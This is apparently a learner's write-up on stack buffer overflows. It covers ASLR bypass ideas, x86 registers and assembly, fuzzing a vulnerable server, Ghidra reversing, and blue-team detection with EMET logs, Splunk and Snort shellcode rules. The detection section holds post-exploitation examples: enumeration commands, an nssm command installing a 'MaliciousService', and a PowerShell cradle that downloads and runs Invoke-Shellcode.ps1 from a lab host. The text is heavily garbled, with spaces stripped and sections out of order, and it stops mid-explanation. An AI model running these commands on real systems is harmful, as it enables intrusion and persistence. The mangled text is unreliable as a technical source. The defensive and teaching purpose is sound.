some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

